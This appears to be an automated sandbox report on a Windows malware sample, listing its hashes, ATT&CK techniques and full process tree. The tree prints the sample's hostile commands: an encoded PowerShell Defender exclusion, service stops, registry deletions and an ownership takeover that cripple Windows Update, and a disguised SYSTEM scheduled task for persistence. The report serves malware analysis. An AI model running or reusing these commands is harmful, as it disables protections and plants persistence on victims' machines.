465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0

General

Target

465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe
Size

2.0MB
MD5

79dbc1a54d33366681f1e926d565cad4
SHA1

907cf0ec6784bf140f9759d6931d3697da0fc229
SHA256

465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0
SHA512

6d66ae7edc6028e8bc1eac9caf85f5d2d38a6c000e5fa907c9eec5786b225aeeb7c0b565bee9aa7b09f6f792d0857e3d06f0e3ed832d73047506a18ce15371dd

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

1904 takeown.exe
1812 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

1904 takeown.exe
1812 icacls.exe

pid	process
1904	takeown.exe
1812	icacls.exe

pid	process
1904	takeown.exe
1812	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Program Files\Windows\services.exe	conhost.exe
File opened for modification	C:\Program Files\Windows\services.exe	conhost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

872 schtasks.exe
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

600 reg.exe
684 reg.exe
908 reg.exe
1688 reg.exe
524 reg.exe
1828 reg.exe
1632 reg.exe
1516 reg.exe
564 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.execonhost.exe

pid process

948 powershell.exe
2028 conhost.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.execonhost.exetakeown.exe

description pid process

Token: SeDebugPrivilege 948 powershell.exe
Token: SeDebugPrivilege 2028 conhost.exe
Token: SeTakeOwnershipPrivilege 1904 takeown.exe

pid	process
872	schtasks.exe

pid	process
600	reg.exe
684	reg.exe
908	reg.exe
1688	reg.exe
524	reg.exe
1828	reg.exe
1632	reg.exe
1516	reg.exe
564	reg.exe

pid	process
948	powershell.exe
2028	conhost.exe

description	pid	process
Token: SeDebugPrivilege	948	powershell.exe
Token: SeDebugPrivilege	2028	conhost.exe
Token: SeTakeOwnershipPrivilege	1904	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.execonhost.execmd.execmd.execmd.exe

description	pid	process	target process
PID 388 wrote to memory of 2028	388	465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe	conhost.exe
PID 388 wrote to memory of 2028	388	465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe	conhost.exe
PID 388 wrote to memory of 2028	388	465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe	conhost.exe
PID 388 wrote to memory of 2028	388	465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe	conhost.exe
PID 2028 wrote to memory of 1996	2028	conhost.exe	cmd.exe
PID 2028 wrote to memory of 1996	2028	conhost.exe	cmd.exe
PID 2028 wrote to memory of 1996	2028	conhost.exe	cmd.exe
PID 1996 wrote to memory of 948	1996	cmd.exe	powershell.exe
PID 1996 wrote to memory of 948	1996	cmd.exe	powershell.exe
PID 1996 wrote to memory of 948	1996	cmd.exe	powershell.exe
PID 2028 wrote to memory of 1676	2028	conhost.exe	cmd.exe
PID 2028 wrote to memory of 1676	2028	conhost.exe	cmd.exe
PID 2028 wrote to memory of 1676	2028	conhost.exe	cmd.exe
PID 1676 wrote to memory of 1028	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 1028	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 1028	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 1892	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 1892	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 1892	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 532	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 532	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 532	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 1200	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 1200	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 1200	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 820	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 820	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 820	1676	cmd.exe	sc.exe
PID 1676 wrote to memory of 600	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 600	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 600	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1688	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1688	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1688	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 684	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 684	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 684	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 524	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 524	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 524	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1828	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1828	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1828	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1904	1676	cmd.exe	takeown.exe
PID 1676 wrote to memory of 1904	1676	cmd.exe	takeown.exe
PID 1676 wrote to memory of 1904	1676	cmd.exe	takeown.exe
PID 1676 wrote to memory of 1812	1676	cmd.exe	icacls.exe
PID 1676 wrote to memory of 1812	1676	cmd.exe	icacls.exe
PID 1676 wrote to memory of 1812	1676	cmd.exe	icacls.exe
PID 2028 wrote to memory of 436	2028	conhost.exe	cmd.exe
PID 2028 wrote to memory of 436	2028	conhost.exe	cmd.exe
PID 2028 wrote to memory of 436	2028	conhost.exe	cmd.exe
PID 436 wrote to memory of 872	436	cmd.exe	schtasks.exe
PID 436 wrote to memory of 872	436	cmd.exe	schtasks.exe
PID 436 wrote to memory of 872	436	cmd.exe	schtasks.exe
PID 1676 wrote to memory of 1632	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1632	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1632	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1516	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1516	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 1516	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 564	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 564	1676	cmd.exe	reg.exe
PID 1676 wrote to memory of 564	1676	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe
"C:\Users\Admin\AppData\Local\Temp\465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:388

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\465b187a795c015825c5a0a1791d1587a90079759b0f418ff5ea6afc44dd68d0.exe"
2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGgAdAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAcQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBsAHEAdgBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAaABmACMAPgA="
3⤵
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAGgAdAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGMAcQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBsAHEAdgBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHoAaABmACMAPgA="
4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:948

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
PID:1028

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
PID:1892

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
PID:532

C:\Windows\system32\sc.exe
sc stop bits
4⤵
PID:1200

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
PID:820

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:600

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1688

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:684

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:524

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:1828

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1904

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1812

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1632

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1516

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:564

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:908

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:280

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:980

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1784

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:1924

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:388

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:2004

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1964

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:436

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
4⤵
- Creates scheduled task(s)
PID:872

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:1084

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
4⤵
PID:948

C:\Windows\system32\taskeng.exe
taskeng.exe {4358311D-E60E-4CB8-B000-D4368BA663D1} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1980

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

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Downloads

memory/280-83-0x0000000000000000-mapping.dmp

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memory/388-87-0x0000000000000000-mapping.dmp

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memory/436-77-0x0000000000000000-mapping.dmp

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memory/524-73-0x0000000000000000-mapping.dmp

Download
memory/532-67-0x0000000000000000-mapping.dmp

Download
memory/564-81-0x0000000000000000-mapping.dmp

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memory/600-70-0x0000000000000000-mapping.dmp

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memory/684-72-0x0000000000000000-mapping.dmp

Download
memory/820-69-0x0000000000000000-mapping.dmp

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memory/872-78-0x0000000000000000-mapping.dmp

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memory/908-82-0x0000000000000000-mapping.dmp

Download
memory/948-61-0x000007FEEE000000-0x000007FEEEB5D000-memory.dmp

Filesize
11.4MB

Download
memory/948-91-0x0000000000000000-mapping.dmp

Download
memory/948-57-0x0000000000000000-mapping.dmp

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memory/948-60-0x000007FEEEB60000-0x000007FEEF583000-memory.dmp

Filesize
10.1MB

Download
memory/948-63-0x00000000025CB000-0x00000000025EA000-memory.dmp

Filesize
124KB

Download
memory/948-62-0x00000000025C4000-0x00000000025C7000-memory.dmp

Filesize
12KB

Download
memory/980-84-0x0000000000000000-mapping.dmp

Download
memory/1028-65-0x0000000000000000-mapping.dmp

Download
memory/1084-90-0x0000000000000000-mapping.dmp

Download
memory/1200-68-0x0000000000000000-mapping.dmp

Download
memory/1516-80-0x0000000000000000-mapping.dmp

Download
memory/1632-79-0x0000000000000000-mapping.dmp

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memory/1676-64-0x0000000000000000-mapping.dmp

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memory/1688-71-0x0000000000000000-mapping.dmp

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memory/1784-85-0x0000000000000000-mapping.dmp

Download
memory/1812-76-0x0000000000000000-mapping.dmp

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memory/1828-74-0x0000000000000000-mapping.dmp

Download
memory/1892-66-0x0000000000000000-mapping.dmp

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memory/1904-75-0x0000000000000000-mapping.dmp

Download
memory/1924-86-0x0000000000000000-mapping.dmp

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memory/1964-89-0x0000000000000000-mapping.dmp

Download
memory/1996-56-0x0000000000000000-mapping.dmp

Download
memory/2004-88-0x0000000000000000-mapping.dmp

Download
memory/2028-59-0x0000000000110000-0x00000000002ED000-memory.dmp

Filesize
1.9MB

Download
memory/2028-55-0x000007FEFC451000-0x000007FEFC453000-memory.dmp

Filesize
8KB

Download
memory/2028-54-0x000000001B230000-0x000000001B40C000-memory.dmp

Filesize
1.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads